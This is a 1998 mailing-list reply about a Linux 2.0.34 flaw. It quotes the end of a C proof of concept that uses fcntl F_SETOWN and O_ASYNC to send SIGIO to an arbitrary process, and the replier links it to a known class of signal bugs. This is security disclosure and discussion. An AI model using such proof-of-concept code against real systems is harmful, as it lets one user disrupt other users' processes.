Re: Serious Linux 2.0.34 security problem

From: Theo de Raadt (deraadtat_private)
Date: Tue Jun 30 1998 - 11:46:56 PDT

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>   fcntl(0,F_SETOWN,p);
>   s = fcntl(0,F_GETFL,0);
>   fcntl(0,F_SETFL,s|O_ASYNC);
>   printf("Sending SIGIO - press enter.\n");
>   getchar();
>   fcntl(0,F_SETFL,s&~O_ASYNC);
>   printf("SIGIO send attempted.\n");
>   return 0;
> }

Well, that looks like one of the class of security problems described
by www.openbsd.org/advisories/signals.  Hasn't anyone else fixed those
problems yet?

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